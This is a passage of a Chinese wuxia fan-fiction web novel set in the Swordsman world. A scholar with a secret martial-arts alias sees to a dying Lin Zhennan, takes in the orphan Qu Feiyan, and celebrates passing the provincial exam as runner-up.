令狐冲还以为自己师父说的是回雁楼的事,至于费彬的事,他终究是没有说出来。 “一个田伯光算什么,苏少侠可是在刘正风的府上,力压嵩山三大太保,一招一式之间就打的三人毫无还手之力。” “什么!” 令狐冲惊讶的张大了嘴巴。 就连林震南与与林夫人也是瞠目结舌。不过这些不怪他们,谁看到陈子云的年纪,都不会相信这人会有这么辉煌的战绩的。 就当令狐冲还想找陈子云证实的时候,林平之与华山众弟子也赶到了。 林平之一见自己的双亲几扑了上来,陈子云反手就是一个耳光。 “你想害死你父亲吗,如今林总镖头心脉已断,只要我这里一放手,他便只有半刻的命。” 林平之本来还要反抗,可听着陈子云这话,直接一个踉跄就跪倒在了林震南夫妇面前。 三人都知道了这一次之后就是诀别,顿时都哭的稀里哗啦。 “林总镖头,还请平复心情,你的时间不多了,该说的就早些交代吧,在下欠林家的人情至此就算是还清了。” 华山其他众人见着一家三口要交代遗言,也不用岳不群吩咐,便自觉的出庙去了,在这一点上,岳不群这个当师傅的倒是教的不差。 “苏少侠客气了,林某与苏少侠素未蒙面,哪里会有什么恩情要少侠还,此次是我们林家承了少侠的大恩,让我们夫妇得见平之最后一面。 我夫妇两人今生怕是无福再报少侠大恩了,来世当年做马也不辞。平之你还不叩谢苏少侠大恩,此生万万不可忘少侠大恩。” 林震南可谓是用心良苦,当他从岳不群口中得知陈子云武功超群,就想用最后一丝力气,给林平之找个联系,好让自己儿子以后的路好走些。 虽然林平之拜入了华山派,但林震南也知道,林平之已经过了最好的练武年纪,将来的成就恐怕有限。 如果能和陈子云这样的大高手扯上关系,他日行走江湖,众人也必然给些薄面。 林震南行了一辈子的镖,在处理人际关系的这方面,就算是少了方丈估计都不是他的对手。 林平之虽然对陈子云颇有微词,可如今父母丧亡在即,不管是什么恩仇也不及自己父母半分重要。 当即就要对着陈子云行跪拜之礼,可陈子云既然提出与林家的人情到此结束,哪里还会惹事上身。 直接一个转身起落就出了庙宇,反正这个时候林震南不死也没救了。也不理会令狐冲想着过来打招呼,一个纵身就没入了树林之中。 华山众人虽然已经见识过了陈子云诡异迅捷的身法,可看到对方须臾之间便消失在树丛之间,依旧是骇然不已。 “爹爹,这人到底是人是鬼。” 本来还在跟令狐冲嘘寒问暖的岳灵珊心有余悸的问岳不群道。 ...... 第十七章 游山玩水遇故人 话说陈子云总算是还了偷窥林家《辟邪剑谱》的人情,这心头没有了人情债自然是一身轻松。 来的时候为了赶时间救人,这福州到衡山城的一路都是策马狂奔,根本就没心思在意别的事情。 如今事情办妥,自然也就不着急回去,本来跟福伯交代也是出来要一个月为期的,现在还不到一周就把事情处理了。 剩下的日子,自然要好好的游览一番。以前他只是一个窝在陈氏家族周边,一心读书的书呆子,如今有机会出来看看福州以外的世界,当然不会浪费这么一次好机会。 古人有云读万卷书行万里路,本来朝廷也鼓励中了秀才的生员能主动去游学增长见闻的。要不然以后考取了功名当了官,却对地方上的风土人情一点都不了解,这官怎么能做得好。 既然来了湖南,陈子云作为一个读书人,传承千年的岳麓书院自然是一定要去的。 与现代被当成一个旅游文化景点不同,此时的岳麓书院依然发挥着他教书育人的功能,而其中每年为朝廷贡献的人才也是不胜枚举。 陈子云在拜访书院的时候,还结识几位同样身为秀才的青年才俊。 陈子云欣赏他们那种只有在这个时代才能见到的风流才情,那几位也是被他别出机杼超人见识所折服。 一行人趁着春光还好,相约携手同游洞庭湖。 泛舟湖上,当庭对诗,煮酒楼中,静看岳阳。 陈子云也是体会到了,远离那些腌臜的江湖事情之后的舒爽享受。 可惜,春光再美也留不住行人。 在几位友人的一派惜别声中,陈子云乘船沿江而下,一路又到了江西。这次陈子云没有再去游览鄱阳湖或者滕王阁,只是在路过九江的时候,登了一次庐山。 可惜那庐山瀑布终究只是诗仙的夸大之词,不过总算也是领略到了苏子瞻的那句“不识庐山真面目,只缘身在此山中”的情怀。 庐山的雄、奇、险、秀果然是非同一般。 进了福建之后,陈子云反而倒是没有了继续游历的心思,也不知道是不是被现代思想影响,对于那些在家门口的景色总是习惯性的视而不见。 因为那些东西总觉得太近,而现代的交通又过于便利,总觉得什么时候去都可以。 可实际上,如果不是有外地的朋友过来,不得不带人去找个地方玩,估计很多人一辈子都不会选择去就近的景点玩。 似乎有一种魔力,总是吸引着人们奔赴远方,似乎只有那里的景色才是迷人的。 陈子云这趟出门,直到回到福州境内却也将近花了一个半月的时间。这一趟虽然多半是在游山玩水,可心里难免也乘积了一些疲累。 这次回去,他计划基本就是足不出户的安静读书了,为了即将到来的人生第一次“秋闱”做好准备。 可有些东西,往往都会在人们做好计划之后才出现,比如此时的陈子云,他刚从马上下来,正准备入城,却是有人直接迎了上来。 “恩公,恩公慢走。” 陈子云一开始还以为不是在叫自己。 直到那人直接挡在了自己面前,还向着自己深深的鞠躬行礼。 陈子云疑惑的看着这张有些脸熟的面孔。 “恩公,在下米为义,是刘公的二弟子,我等众人皆在等......” “你先等等。” 陈子云此时也想起了这个在刘府见过一面的衡山弟子,可万万没想到这人竟然能找到福州城来,自己是哪里漏了马脚,还是这一路都被人盯上了。 既然米为义能找到自己,是不是意味着嵩山派也一样能找过来,可随即又想到,嵩山派找过来又能如何。 在这福州城里,要对付几个来路不明的江湖人士,自己甚至都不用亲自动手,只要招呼一下官府的差役,这些人根本就在城里待不下去。 “你怎么找来的,其他人也来了?” “是的,恩公,自从您巧计救了我等,我们就一直在衡山城外等您,可是您久等不至。 我们又怕嵩山派的人追上来,就根据您的口音判断,一路朝着福州而来。说来也是奇怪,我们沿路打听您的名讳,这FJ省竟然无一人听说过。 起初我们只是觉得您真人不露相,后面才反应过来,您可能用的不是真名。 所以到了福州城后,我们就轮流安排人在城门口守着,我们没有您的其他信息,也就只能用这种笨办法。 好在天见可怜,今天终于是等到您了。” 米为义言辞恳切的将一路的遭遇都跟陈子云说了一遍,大有要将刘府老小全部投靠过来的意思。 可陈子云怎么会答应,不说后面嵩山派会不会纠缠不休,要是他以明面上的身份跟他们这些人往来。 说的好听些就是识人不明,说的严重些,他在官方口径里就是结交匪类了,这对他以后的官宦生涯可不是好事情。 而且自己只是一时之意才救了这些人,可不意味着他就要对这些人负责到底,自己又不欠他们的。 “既然来了福州,那就好好生活,江湖上的事情,你们这些人就别想着再参合了。” 陈子云说道。 “恩公说的是,师父已经先逝,师娘也并不会武功,如今在福州我们也用师傅留下的余财置办了一些产业,只盼望着能保着师傅的这些遗孤安然。 江湖上的事我们几兄弟都已经看透了,自知也没本事给师傅报仇,还不如就安安稳稳的过日子。” 米为义神情落寞的说道。 “如此,最好。” 陈子云说完也就加快了自己的脚步,如果米为义上道就应该知道他的意思。 “恩公,稍等,这里有些谢礼是师娘嘱咐一定要给恩公你的。虽然恩公与我等如再生父母,就算是粉身碎骨也难报答万一。 此些银两也只是聊表心意,还请恩公务必收下。” 米为义随即就递过来一打宝钞,都是百两纹银的大面额,陈子云粗略一看就知道这里不下五千两。 “好。” 陈子云也不会惺惺作态,送上门的银子不收,那才是傻子。而且这些银子他收的心安理得,毕竟自己怎么说都是救了他们这一家子的人。 可当陈子云收了银子还没有走出几步,这米为义却又追上来了,而且神色之间甚是为难,似乎有什么话要说却又不好开口。 “还有事?” 陈子云不解的问道。 “这个......” 米为义似乎有些难以启齿。 “不说我可就走了。” 其实陈子云已经大概猜到了米为义所为何事。 “恩公等等,还请稍待。” 米为义说着又从自己的身上摸出了一些宝钞,看那零零碎碎的面额,想来这应该是他自己的盘缠。 “恩公,这些虽然不多,但也是米为义的一些心意还且收下,只是师傅一家终究是体面人家,不知能否归还那张契约于我。” 米为义双手捧上宝钞,头却是低到了脚面上,可见此刻他心中还是有些羞耻感的。 “哦,这是你自己的意思,还是你那位师娘的意思,五千两原来不是感谢费,是赎身的钱,那我就要算算这些钱是不是够了。” 陈子云有些玩味的看着米为义说道。 “不是的,恩公,还请恩公不要误会,师娘并没有此意,只是为了几位公子小姐的前程,这契约,这契约......” 米为义以为陈子云是生气了,连忙解释着,可这一紧张口齿难免有些不清晰了。 “好了,回去告诉你那位师母,钱我收了,至于你们签的那张契约根本没有出刘府,在你们离开之后我就已经毁了。 以后如果想安安稳稳在福州落地生根,那最好就老实做人,也不要再打听我的消息了,小心惹火上身。” 陈子云说完就直接甩开了米为义,在福州城内逛了几圈,确认没有人跟着自己之后才回了向阳巷老宅。 第十八章 曲非烟上门 “公子,您回来了。” 福伯见陈子云,赶紧把他手里的包裹行李和马匹接了过去。 “嗯,买点好料喂马,这一个半月它倒是被我折腾的不轻。” 陈子云说着从怀里掏出了一张百两纹银的宝钞交给了福伯。 “这些银两,你留着当做家私,家里有什么缺的你也置办一些。” “是,公子。” “我不在的这段时间,可有什么人上门?” “李不器与杨弘毅两位公子来过两次,都是来请您去赴宴的。还有就是族里的三叔公派人来了一次,是族里有小姐出嫁,让您参加喜宴。” “嗯,李不器与杨弘毅那边我自己去一趟,族里的,你就代我买些礼物送去给三叔公吧,顺便把漏下的新婚贺礼也给人送过去。” 陈子云吩咐道,至于是哪家亲戚嫁女儿,他压根没心思打听。从他双亲离世之后,所谓的亲戚基本都没了什么往来。 唯一跟自己算得上熟悉的,除了福伯就剩下这个三叔公了,这位三叔公以前也是做过官吏的,在陈氏一族里算得上是德高望重。 如今更是当了乡里的乡饮大宾,在福州的乡间可以说是数得着的人物,族里的婚丧嫁娶都要请他出席。 而这位三叔公当时也是见陈子云在读书这方面颇有潜力,才对他多有照顾。陈子云也不是知恩不报的人,对方既然上门请了,自然要让福伯备一些回礼送去。 陈子云只是在宅子里稍微洗漱了一番,稍作休息喝了两杯茶,就去寻李不器与杨弘毅了。 对于这两位家族在福州城里素有名望的同窗,他自然是要小心经营关系的。自己家穷,在礼物上可以不用那么贵重,但是必须要体现自己的心意。 所以陈子云在游历洞庭湖和庐山的时候就已经有心的做了准备,一把画着洞庭春色,一把绘了庐山雨雾,带着两把文人扇便登门去了。 两人见了都是不甚的欢喜,各自挑选了一把,都夸陈子云画工大涨,已经不下当朝名仕云云,其实这不过是文人之间的些许趣味。 三人之间同窗已久,都知道对方的文学才情,陈子云固然比他们要高上一筹,但是并不精于画工,只是看着友人千里送鹅毛,自然是要答谢恭维几句。 陈子云因被抓着小把柄,在席间被两人灌了好几杯,从酒楼出来的时候已经有些晕乎乎的,不过好在他如今内力已经小有成就,不至于摸不到自己家门。 如今已经将近六月,两个月之后就是今年的秋闱,喝了这一场酒之后,他们几人再见就怕是要在考试的贡院里了。 虽然他们三人都是新进的秀才,对于这第一场乡试并没有报太大的期待,但是总是要尽一份心才算的。 后面的日子陈子云便别了江湖的风雨,一门心思的宅在自己的书房里,与孔孟圣贤为伴,邀四书五经共游。 就连那黄昏细雨红袖刀,也是在看书实在看得疲乏的时候,才拿出来练练,不过在这一张一弛之间,倒是反而进步不小。 这一个多月的时间就在这安静的读书天里度过,这一天临近黄昏,陈子云正想放下手中的书伸展一下久坐疲惫的身躯,却忽然发现窗外竟然有一股微弱的呼吸。 陈子云心里一惊,随手抓起笔架上的一只毛笔,对着窗户抬手便射了出去。只听得窗外“啊呀”一声,随即就是有人倒地的声音。 陈子云一个闪身追出窗外,就看到一张雪白清秀的可爱脸蛋上正泫然欲泣,不由得让他也心生同情。 “怎么是你。” 原来这个不速之客竟然就是在衡山城有着几面之缘的曲非烟,不过当时她穿的是一件翠绿的衣衫,如今却是一袭嫩黄,依旧惹人怜爱。 “哼。” 曲非烟气鼓鼓的嘟囔着小脸蛋,也不答话。 “你知不知道,刚才只要我再多用三分力道,这支笔就会直接洞穿你的肩膀。” “那又如何,死就死了,反正爹娘早死了,爷爷也去了,如今就剩下我一个人,死了才好。” 曲非烟说着,那眼里的泪水却是再也止不住了,一颗颗连串似的往下掉。 陈子云本来就对这身世凄惨的女孩儿有几分同情,要不然当初也不会赶着去救她一命。 见她如今真的这般伤心难过,一时也有些不忍。 “好了,既然来了,就进来吧,我这里也快开饭了。” “我不,谁稀罕你的臭东西。” 不知怎么的,陈子云本来劝慰的话就像是戳中了曲非烟的哭闹穴,不但眼泪掉的更欢了,还将手里的一个纸团朝他扔了过来。 陈子云随手抓住,有些皱眉的说道:“闹什么!” “把东西还给我,那是我的。” 曲非烟一扔出那纸团就后悔了,赶紧上来抢。 陈子云本来以为这纸团就是一件杂物,看曲非烟如此紧张,反倒是有些好奇了。 一个转身就躲过了曲非烟伸过来的手,把皱巴巴的纸团展开,一个眉目清秀的书生画像从里面展现。 当看清楚这画上的人物,陈子云竟是一愣。 “不许看。” 曲非烟抢到陈子云身侧,趁着他愣神一把就趁机夺过了拿画像,三下两下就把那纸团撕的稀碎。 一边撕,嘴里还一边念叨着:“坏蛋,混蛋,臭鸡蛋。” “这画像......” “不是你,我画的就是一个混蛋,每天用来当飞针的靶子用的,每天不扎个十七八下我都睡不着。” 陈子云深吸一口气,这女孩儿长得是可爱,这嘴上可是一点都不饶人。刚才那皱巴巴的纸团上画的却是自己,虽然笔法很幼稚,但是难得的跟自己有几分神似,这画的人看来是用了心的。 “你是拿着这画像找过来的?” “谁找你了,不是跟你说了吗,这画,呸呸呸,这就是我的靶子,不是什么画像。” 陈子云看着这脾气上来了的小丫头摇摇头,看着已经听到动静走过来的福伯,吩咐了一句。 “福伯,今天有客人到,你去添一副碗筷。这位......这位是我一位朋友的妹妹。” “好的,公子。” “谁是你妹妹了。” 曲非烟看了一眼被自己撕的粉碎的纸团,不知怎么的就有些懊悔,自己为了画这幅画像不知道练习了多少次,下了多少功夫。 一路上问人,但凡有点污损他都小心的不得了,现在却是毁在自己手上。 ...... 第十九章 认了个妹妹 陈子云看着刚才还气势汹汹的曲非烟,如今在饭桌上却是扭捏了起来。尤其是当她抬头看到站在一旁伺候的福伯时,这个本来天不怕地不怕的少女总是会努力的挤出一丝微笑。 本来一个江湖上浪荡惯了的丫头,此刻却学起了戏文里的官家小姐的讲究,在陈子云看来,实在是有些东施效颦的尴尬。 “福伯,你也去用饭吧,这里不用你了。” 陈子云不得已把福伯打发了出去,他是真的怕自己再看下去会有喷饭的冲动。 福伯一出门,曲非烟就像是一个气球泄了气一般,刚才还是挺胸直背的端正摸样,一下子就变的软趴趴了。 “最讨厌你们这种人了,吃个饭都要端着。” “嘿,你倒是恶人先告状,这里可没有人让你端着,我吃饭也从来都是怎么舒服怎么来,也不知道是谁教你的。” “可.....戏文里不都是这样说的吗,什么食不厌精脍不厌细,食不言寝不语,不都是你们书生想出来的吗?” “那是指在正式的场合,比如祭祀,出征这些重大的时刻,谁会在自己家里都摆出这幅模样,那不是自己找罪受吗?” “真的,那我不是白受罪了,啊,那,那位老先生是不是也在笑话我。” 曲非烟的小脸瞬间就涨红了,一下子就想找个地缝钻下去再也不出来。 “好了,福伯是知道分寸的,不会对客人失礼的。” “不,就算他明着不说出来,那他也会在心里笑话我,我不管,我要你赔我,丢脸死了。” 陈子云有些悻悻然,他算是知道跟在情绪上的女人说道理是多么荒诞的一件事,不管这个女人是多大年纪。 “吃饭,先吃饭。” 陈子云夹了一筷子鸡肉到曲非烟的碗里,他也不知怎么的对这个活泼了些的小丫头有种没由来的亲近。 可能是自己在这里实在是太孤单了吧,早早过世的父母也没有给他留下个弟弟妹妹,平时到也不觉得,可见到这个古灵精怪的小丫头,不免生起了几分爱护之意。 “苏大哥,自从我爹娘死后,除了我爷爷,从来没有人对我这么好过。” 曲非烟愣愣的看着自己饭碗里的鸡肉说道。 陈子云不由得叹了一声,这江湖上除了打打杀杀,留下最多的不就是如曲非烟这般的孤寡吗。 一怒拔剑自己倒是觉得豪情万丈了,可一个江湖人一不小心,不知道哪天就死在哪个角落里,家里留下的孤寡还在望穿秋水的等着他回家,可等来的就是个下落不明的音讯。 “苏梦枕只是我的化名,我也不是江湖中人。我是福州的秀才,姓陈名英,字子云,你可以叫我陈大哥。” 陈子云有些怜惜的说道,他不愿再用假名欺骗这个可怜的小女生。 “我知道的,苏大哥,我能找到这里,自然也知道你的身份。 可我要找的就是那位一招斩淫贼,力压三太保的夺命书生苏梦枕,而不是躲在这里读书写字的陈书生。” 曲非烟看着陈子云,那稚嫩的眉宇间竟透着一份难得的严肃与认真。 陈子云楞了片刻,随后说道:“陈子云是我,苏梦枕也是我,名字不过是个代号,叫什么又有什么区别。” “苏大哥,这不一样的。你之所以取两个名字,肯定是因为要用不同的身份出现。就像我爷爷跟刘爷爷一样,他们本来一个是衡山大侠,一个是神教长老。 可他们又有另一个身份,都是弹琴弄箫的高超乐人。 到最后两人成了知音,打算抛弃他们原来的身份,全身心的投入到音乐中,可是他们的下场你也看到了。 所以一个人的身份就决定了他要做的事情,如果苏大哥还是那位黄昏细雨红袖刀,那自然以可以按江湖规矩行事,可如果是......” “没想到你小小年纪,却比你那两位爷爷看的更透,要是他们早点能明白这个道理,恐怕也不会自己作死的办什么金盆洗手大会了。 随便找个理由,偷偷摸摸的躲进山窝窝里,或者直接带着家人飘扬出海,难道嵩山派还会不辞辛苦的为了两个行将就木的老头子奔波万里。” 陈子云说道此处不由得也是心中一叹,不过随即又是不屑的一笑。 “不过,绯烟,你虽然聪慧却还是看漏了一个至关紧要的方面,那就是自身的实力,这种实力可以是自身武力,也可以是掌握的权势,甚至可以是通达的人际关系。 当一个人哪怕拥有者三种中任何一种,能够压制群雄的,或者说的明白些,只要你爷爷或者刘正风有我这般的功夫的,那你想想,嵩山派还敢这么对他吗?” 曲非烟一时语塞,滴溜溜转动着的眼球表明她正在用心的思考陈子云所说的话。 陈子云也不着急,曲非烟虽然天生聪慧但是他的年纪毕竟太小,而平时接触到的人物层面也低了些,自然有考虑不周全的地方。 “苏大哥你是想告诉我,不管你叫什么名字,只要你有足够的实力,那你就无所畏惧是吗?” “不错,所以你完全没有必要纠结我到底是那个快意恩仇的苏梦枕,还是关起门来读书的陈子云,他们任何一个人都足够给你挡风遮雨。” 陈子云又夹了一些蔬菜到曲非烟的碗里。 “先吃饭,有什么事情可以慢慢告诉我。” 这次曲非烟没有再钻牛角尖,乖乖的扒着饭。 饭后,陈子云听了曲非烟的一番描述,原来在曲洋跟刘正风死后,曲非烟便无处可去,她一个人到处乱逛结果就遇见了刚好准备南下的刘府一家子。 同是天涯沦落人,而且她跟刘府的大小姐刘菁算是熟络,听他们说要到福建找苏梦枕当然就加入了他们的队伍。 一路上众人提心吊胆的防备着随时都可能找上来的嵩山派,又要提防以前刘正风的那些对头落井下石,一路上虽然磕磕碰碰却也是相互关照。 可到了福州安定下来之后没多久,不知道是哪个先开始说,是曲非烟他们爷孙害的刘府家破人亡的。 虽然从这些刘家人的角度讲,曲洋与刘正风的结交确实是打破他们优越生活的罪魁祸首,可这与曲非烟又有什么关系。 在面对嵩山派要杀他们全家的时候,他们希望不要祸及全家,可在面对害了他们一家人的曲洋的时候,他们却又把矛头指向了曲非烟,当真是..... 可这情绪一旦被挑动起来,又如何能轻易放下,除了刘菁还在努力维护这曲非烟,就连刘夫人也开始对她挑鼻子挑眼了。 这让一向聪慧也高傲的曲非烟如何能忍受,好在不久米为义就带回了苏梦枕的消息,这让曲非烟大喜过望,直接就一个人跑了出来。 后面的事情就是曲非烟凭着自己的映像好不容易画出了陈子云的肖像,就在偌大的福州城里四处询问查找。 好在曲非烟够聪明,知道陈子云这身打扮应该是读书人的摸样,知道去读书人多的地方问,要不然这向阳巷老宅可不是随便就能找到的地方。 “既然如此,那你就先住在我这里吧。” “那就非烟就谢过苏......不,是陈大哥了。” 第二十章 秋闱结束 陈子云自然就吩咐福伯再收拾一件客房给曲非烟住下,福伯虽然有些困惑,自家公子为什么这般留一个黄花闺女在家里,但终究还是一丝不苟的执行了陈子云的命令。 至此陈子云家里就多了一个朋友寄养在此处的妹妹,起码他是这么对别人说的。包括有一次陈氏家族的三叔公上门,陈子云也大大方方的介绍了这个自己刚认下的妹妹。 三叔公倒是没说什么,只是嘱咐了陈子云一句,一切以学业为重。陈子云看三叔公的眼神就知道对方肯定是把曲非烟看着自己的金屋藏娇了。 可这种事情越解释越麻烦,陈子云也就索性不理会了,只是一股脑的闷头读书。 偶尔曲非烟来书房找他,陈子云也会挑一些书给她看。其实陈子云一直有些可惜,曲非烟有如此聪慧的头脑,却没有用来好好的读书。 在陈子云的建议下,曲非烟也习惯了在他的书房里自己找书看,自然她肯定不会挑那些枯燥乏味的四书五经来看的。 反倒是一些关于诗词歌赋的东西,曲非烟看着很有兴趣,当然如果有通俗小说那就最好了。 可惜陈子云书房里这类的书着实不多,不到一个月的时间,曲非烟就已经把这类她自己感兴趣的书看完了,甚至还能通篇背诵其中的一些。 这让陈子云大呼可惜,要是让曲非烟从小读书,怕自己是读不过她的。可惜在这个时代里,女性注定了无法通过读书安身立命,她们被限制在以男子为纲目的社会通俗礼教之下。 不得已,陈子云只好带着曲非烟到了他常去的书局,去挑一些她喜欢的书籍。有一次还意外的碰到了两个相熟的同窗,他们惊奇的看这陈子云带着的这个漂亮可人的女童。 那眼神,陈子云不用问就知道他们心里在想什么,好在这两位还算有些分寸,没直接当着曲非烟的面说出来。 “陈大哥,你那两位朋友看我的眼神好奇怪啊。” “非烟不用理会,他们可能是最近书看的太多,近视眼了。” “什么是近视眼?” “就是不盯着一个东西,并且靠近仔细看,就看不清楚的一种眼科疾病。” “是吗,可我怎么感觉他们是把我当成陈大哥养的小媳妇了,呵呵。” “咳咳,非烟,姑娘家家的要注意一下自己的言辞。” 陈子云有些尴尬的摸了摸自己的鼻子,这小姑娘不但聪慧,还着实大胆了些,这样的直言不讳确实让他有些脸红。 就这么,陈子云本来枯燥无味的准备秋闱的日子有了曲非烟着个调味剂,也不再显得那么无聊了。 终于时间来到了福州这一届的乡试开始,初场考的是《四书》三题,《五经》各四题,士子各占一经。二场论一道,判五道,诏、诰、表内科一道。三场经史时务策五道。 等三场考完就算是陈子云这样内功有成的,也感觉到头昏脑涨,感觉好像自己此生再也不想看书了。 好在一回到家就有福伯准备好的洗澡水,还有一顿丰富至极的美味,洗完澡吃完饭,陈子云就只想美美的睡上一觉。 要知道他一连三天就待在那个不足两米见方的小隔间里,吃饭睡觉都在里面,差点没把他活活憋死。 一觉醒来,曲非烟就端来了煨好的参汤,还乖巧的给陈子云按起了头。 “说吧,又想到了什么鬼主意了?” 陈子云如今也熟悉了这丫头的个性,要不是对自己有所求,曲非烟是铁定不会表现的这么乖巧的。 “哪有啊,陈大哥,非烟是看你考试如此劳累,才想帮你放松一下的,非烟哪里会是这么的不堪。” “哦,那倒是我冤枉你了。” “可不就是吗,既然是陈大哥冤枉了非烟,那是不是要补偿一下啊。” “嘿,你接着说。” “要不我们就到福州以外的地方去逛逛吧,这几个月一直在福州,实在是闷的很。” “哦,你闷吗,我怎么觉得你跟刘妈妈的孙女还有王老汉的小女儿都玩得挺好的。” 陈子云这两个月虽然都躲在书房里,但也知道曲非烟跟那些看家老仆人偶尔过来拜见的家人都是已经玩的熟络了,尤其是他说的这两个,因为年纪相仿,更是亲昵的不得了。 “陈大哥,我不吗,刘家妹妹跟王家的姐姐虽然都很好,可是......” “可是她们都不是江湖中人,不够爽利是吧。” 曲非烟有些为难的掰着自己粉嫩的手指头也不答话。 陈子云自然知道这小丫头的心思,从小在那样的环境中长大,要她一下子就成个官家小姐是不可能的。 何况这小丫头生性本来就比一般的女生跳脱,要是为了自己的意愿,生生把这份可贵的天性给扼杀了,那他未免也太自私了。 “好,等贡院放榜之后,我就带你出去走走,就当是放松一下吧。” “真的吗,陈大哥你真好。” “是啊,不带你出去玩就不是好大哥了,为了这声好大哥,我也不得不去了。” “哪有,我先去跟福伯说下,让他给我们准备行李。” 曲非烟一下子就从书房里窜了出去。 “这下连按摩服务都没了。” 陈子云有些后悔自己答应的太快了,起码也要再享受一下这来之不易的按摩才是。 如此又过了几日,福州的贡院前头又变得人山人海,不过这次来的不是赴考的考生,而是来等着放榜的考生家人。 一个个书童,家仆都争先恐后的在张望着,都盼着自己家的老爷、公子能榜上有名。 自己也好跟着鸡犬升天,还有一笔可以预见的赏钱。要知道这个时代,一人中举收益的可不是这中举的一人,不要说家里族里都是光宗耀祖,就是左邻右舍也跟着沾光。 要是能在这位友邻的帮助下,得个帮闲的活计,那就是全家奔小康的希望啊。 福伯自然也在这些人群里,不过他也知道自己的公子是刚中的秀才,这次中举的概率不大,所以他站的位置是桂榜末尾,从尾往前查看着。 可福伯从尾到头一路看到了榜单的一半也没有见到自家公子的名字出现,不由得已经灰心丧气了,想来这次公子是真的没中了,也就索性回了家。 可刚到向阳巷的巷口,就听到巷子里有敲敲打打的声响,甚是喜庆,还以为是哪家邻居回老宅办喜事来了。 可定睛一看,这锣鼓队竟然是在自己家的门上,这让福伯大是不解。 “福伯,福伯,恭喜你了,你家陈相公中举了,还是个亚元,你可要享福喽。” 隔壁的刘妈妈见福伯回来了,一把就抓着他,皱着满脸褶子恭喜道。 “亚.....元?” 福伯愣是不敢相信,一把就甩开抓着自己的刘妈妈,直接往家里冲。 第二十一章 天人月下舞 此时的陈子云正站在院子里与来报喜的说话,他自己收到这喜讯也很是意外,毕竟他自己估算这次能中举已经很了不起了,没想到还能混个亚元。 他考完之后就做过预估,四书五经部分只能说是一般,倒是策论方面写了一些算的上有些超出这个时代的见解。 可这并不一定是好事,如果考官是个本分的读书人,或者对于时政并不了解,那他这一篇策论可能还会被直接判为下等。 难道是这次遇到一样喜欢这种推陈出新的考官了,陈子云一时也不能确定,因为这样的几率实在太低。 就算是他下次再考,肯定也不会再做这么冒险的事情,一定是规规矩矩的写文章,可不敢拿自己是仕途开玩笑。 只是因为这一次他本来准备的就不怎么充分,就是抱着一个试试的心态,作为下次考试的积累经验去的,哪里想到会有这么一出。 陈子云见福伯回来了,就赶紧把这些报喜的人交代给了他,因为后面上门的人就该络绎不绝了。 这不,陈子云刚带着同样欢喜的曲非烟回屋子,李不器跟杨弘毅就带着一帮同窗来了,其中似乎还有几个没怎么见过的生面孔。 “子云兄,哦,现在要叫举人老爷了,学生李不器在此见过陈老爷,哈哈哈。” “好你个不器兄,打趣打到我身上来了。” 陈子云知道李不器是明摆着来调侃他的,笑着骂了一句。 “诶,子云兄这怎么能是打趣你呢,圣人云‘礼不可废,废则乱’。如今子云兄一朝中举,还是高中亚元,实在是让我等羡慕,合该受我等后进学子一礼才是。” “行了,没完了是吧。福伯,你去外面买些酒菜,顺便叫旁边的邻居来帮帮忙,到时候分些礼物给他们。” 陈子云知道今天如果靠福伯一个人是累死也忙不过来的了,赶紧让他找人帮忙。 “子云兄莫急,知道你平时节俭,家里也不曾添佣人,所以我跟弘毅兄把酒菜肉食都带好了,仆人也带了几个,今天保管你家热热闹闹。” 李不器大手一挥,从门外顿时涌进来一长串的人,各个青衣小帽看着都精神的青年仆从。 “你们几个都听福伯吩咐,今天给陈老爷把事情办好了,本公子大大有赏。” 陈子云一看也是大是感激。 “如此就多谢不器兄了。” “子云兄,你就别跟我们客气了。这下人我家没有不器家的多,但是我保证,这些酒菜都是我亲自吩咐我们家酒楼最好的师傅准备的。” 杨弘毅随即也让人台上满满几个轿子的食盒子,没错他就是让人用轿子抬来的。 陈子云一时也不知道说些什么好,这些人固然有结交讨好他的意思,可人情往来不就是这般吗。 没必要非把自己装的一无是处,生人勿近的摸样再去检验哪个朋友是真心的,哪个亲戚是图谋你好处的。 这世间本来就没有无缘无故的爱,再亲密的关系也经不住你几次三番的试探与考究。 “不器兄,弘毅兄,各位同窗,劳烦各位如此兴师动众,陈子云在此拜谢了,还请各位随我入内。” 陈子云直接让人在后院摆了两桌酒宴,与这位学子一同饮酒放歌,都是好不自在。 这场酒宴从中午一直喝到明月高升,期间有人喝醉了被李不器的小厮直接抬到杨弘毅带来的轿子上抬回了本家。 那是杨弘毅才半醉半醒的跟陈子云,这是他家老爷子嘱咐他的,这轿子就是为这样的情况准备的。 陈子云不由得感叹,这些就是体现家族底蕴的细节,一般人怎么可能考虑到这样的细节,肯定是有过这般的经历方才知道其中的奥妙。 期间,陈子云的三叔公也被人用轿子抬着来了,只是看陈子云这帮年轻人喝得热闹也没有多留,只是笑着勉力了他几句。 不过看的出来,三叔公对陈子云是很满意的,也颇有几分对自己识人才能的自豪。 后来福州的学政,还有一些大大小小的官差都上门来祝贺了,就是连知府大人也差人送来了贺礼,这就有些殊荣了,一般的举人可入不了知府这位正四品大员的眼。 这酒喝到了最后,连陈子云都有些迷糊了,李不器更是说话也结巴了。此时桌上剩下的也就五六个人,都是平时与陈子云亲近的。 此时星月当空,院内的桂花也是芳香怡人,而桂树有是月中嫦娥相伴的妙树,也让陈子云不由得想起了另一个世界中的故人。 不自觉的以手中的竹筷为刀,饶着这院中的桂树翩然而舞。 他学的是苏梦枕的黄昏细雨红袖刀,刀法凄艳诡谲,快而凌厉,可如今他脑中有酒意,心中又有思绪。 这刀法现在使出来却是少了几分阴柔,多了几分相思,好似情人诉心,淋漓不尽,刀法缠绵却又纠缠不清。 月光洒在身上,不由得竟然出现了几丝反光,好似此时的陈子云不是在舞刀,而是自己变成了刀,要不怎么会有这冷艳的刀芒闪烁。 “好美的刀法。” 却是曲非烟不知何时从屋里走了出来了。她本来的性子虽然有些江湖习气,但是这么多不熟悉的男子在院中喝酒,她还是选择了回避。 本来她是想来看看陈子云是不是被灌醉了,却没曾想到见到了陈子云如天人舞刀的一番场景,着实让她心生仰慕之情。 “嗯,是非烟妹子,子云兄的这练的什么刀法虽美,可也没有妹子你美。” 此时的杨弘毅已然是有些语无伦次了,这番话其实大有冒犯之嫌,若是一般人家的女子直接就把他当做是登徒子了。 曲非烟倒是没有介意,反而开开心心的大方接受了杨弘毅的赞美。她知道这些人虽然在学问都有一些建树,但是在武功上就算全部加起来也不是她的对手,自然也看不出陈子云这刀法里的神妙之处。 “子云兄,弘毅说的不错,自古君子以剑为器,你怎么学了这什么刀法,不对,不对,非君子所为也,哈哈哈,该罚酒。” 李不器摇摇晃晃的就要端起酒壶给陈子云倒酒。 